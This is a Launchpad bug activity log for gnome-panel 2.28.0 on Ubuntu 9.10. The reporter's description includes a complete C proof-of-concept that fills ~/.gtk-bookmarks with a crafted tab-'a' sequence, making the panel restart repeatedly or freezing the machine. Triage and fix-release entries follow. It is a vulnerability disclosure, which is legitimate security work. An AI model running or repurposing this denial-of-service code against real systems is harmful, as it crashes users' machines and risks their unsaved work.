Activity log for bug #503868

Date Who What changed Old value New value Message
2010-01-06 16:49:22 pietroliva bug added bug
2010-01-06 16:52:58 pietroliva description Binary package hint: gnome-panel Gnome-panel 2.28.0 restarts or completely blocks the computer (need to turn off by leaving battery). I'm using ubuntu 9.10. This happens because gnome-panel doesn't properly check the file .gtk-bookmarks that if specially crafted produces this dos. I've made a proof of concept so you can quickly test this bug. I don't know if this can produce code execution because i don't have time to debug but surely produces this denial of service. Here is the code: /********************************************************************************* * Gnome panel <= 2.28.0 denial of service poc * * by Pietro Oliva * * * * After executing this poc a backup file will be created * * You can restore it by typing ./paneldos restore * * Using option restart gnome-panel will restart continuously * * Using option totalblock you will need to remove the battery * * After execution click application in the panel, then go to places* * and wait some seconds... * **********************************************************************************/ #include <stdio.h> #include <string.h> int main(int argc, char **argv) { FILE *f; unsigned long i; printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva\n\n"); if(!(f=fopen(".gtk-bookmarks","r"))) { printf("%s","file not found! make sure you are running\nthis file from your home directory\n"); return 1; } fclose(f); if((argv[1]==NULL)) { printf("%s","please specify an argument!\n"); printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n"); return 1; } if(((strcmp(argv[1],"restart"))==0)) i=9999; else if((strcmp(argv[1],"totalblock"))==0) i=99999; else if((strcmp(argv[1],"restore"))==0) { if(!(f=fopen(".backup","r"))) { printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n"); return 1; } fclose(f); system("cp .backup .gtk-bookmarks"); printf("%s","succesfully restored!\n"); return 0; } else { printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n"); return 1; } if(!(f=fopen(".backup","r"))) { printf("%s","creating backup...\n"); system("cp .gtk-bookmarks .backup"); } else fclose(f); f=fopen(".gtk-bookmarks","a"); printf("%s","starting...\n"); fwrite("file:///home ",1,13,f); while(i>0) { fwrite("\ta",1,2,f); i--; } fclose(f); printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n"); return 0; } Binary package hint: gnome-panel Gnome-panel 2.28.0 restarts or completely blocks the computer (need to turn off by leaving battery). I'm using ubuntu 9.10. This happens because gnome-panel doesn't properly check the file .gtk-bookmarks that if specially crafted produces this dos. I've made a proof of concept so you can quickly test this bug. I don't know if this can produce code execution because i don't have time to debug but surely produces this denial of service.
2010-01-06 16:53:34 pietroliva attachment added proof of concept http://launchpadlibrarian.net/37502807/paneldos.c
2010-01-06 20:00:12 pietroliva attachment added a piece of the .xsession-errors log file http://launchpadlibrarian.net/37511124/xsession-errors
2010-01-06 20:22:46 pietroliva visibility private public
2010-01-06 20:50:52 pietroliva description Binary package hint: gnome-panel Gnome-panel 2.28.0 restarts or completely blocks the computer (need to turn off by leaving battery). I'm using ubuntu 9.10. This happens because gnome-panel doesn't properly check the file .gtk-bookmarks that if specially crafted produces this dos. I've made a proof of concept so you can quickly test this bug. I don't know if this can produce code execution because i don't have time to debug but surely produces this denial of service. Binary package hint: gnome-panel Gnome-panel 2.28.0 restarts or completely blocks the computer (need to turn off by removing battery). I'm using ubuntu 9.10. This happens because gnome-panel doesn't properly check the file .gtk-bookmarks that if specially crafted produces this dos. I've made a proof of concept so you can quickly test this bug. I don't know if this can produce code execution because i don't have time to debug but surely produces this denial of service.
2010-01-08 14:10:31 Marc Deslauriers security vulnerability yes no
2010-01-08 14:10:37 Marc Deslauriers removed subscriber Ubuntu Security Team
2010-01-08 19:01:28 Pedro Villavicencio gnome-panel (Ubuntu): importance Undecided Medium
2010-01-08 19:01:28 Pedro Villavicencio gnome-panel (Ubuntu): status New Incomplete
2010-01-08 19:01:28 Pedro Villavicencio gnome-panel (Ubuntu): assignee Ubuntu Desktop Bugs (desktop-bugs)
2010-01-12 12:15:48 Gustavo Noronha Silva bug watch added https://bugzilla.gnome.org/show_bug.cgi?id=606280
2010-01-12 12:30:57 pietroliva gnome-panel (Ubuntu): status Incomplete Fix Released
2010-01-12 13:22:18 Pedro Villavicencio gnome-panel (Ubuntu): status Fix Released Fix Committed
2010-01-12 13:23:24 Pedro Villavicencio bug task added gnome-panel
2010-01-15 17:00:08 Launchpad Janitor gnome-panel (Ubuntu): status Fix Committed Fix Released
2010-02-21 06:57:55 Launchpad Janitor branch linked lp:ubuntu/gnome-panel
2010-09-16 20:37:50 Bug Watch Updater gnome-panel: status Unknown Fix Released
2010-09-16 20:37:50 Bug Watch Updater gnome-panel: importance Unknown Medium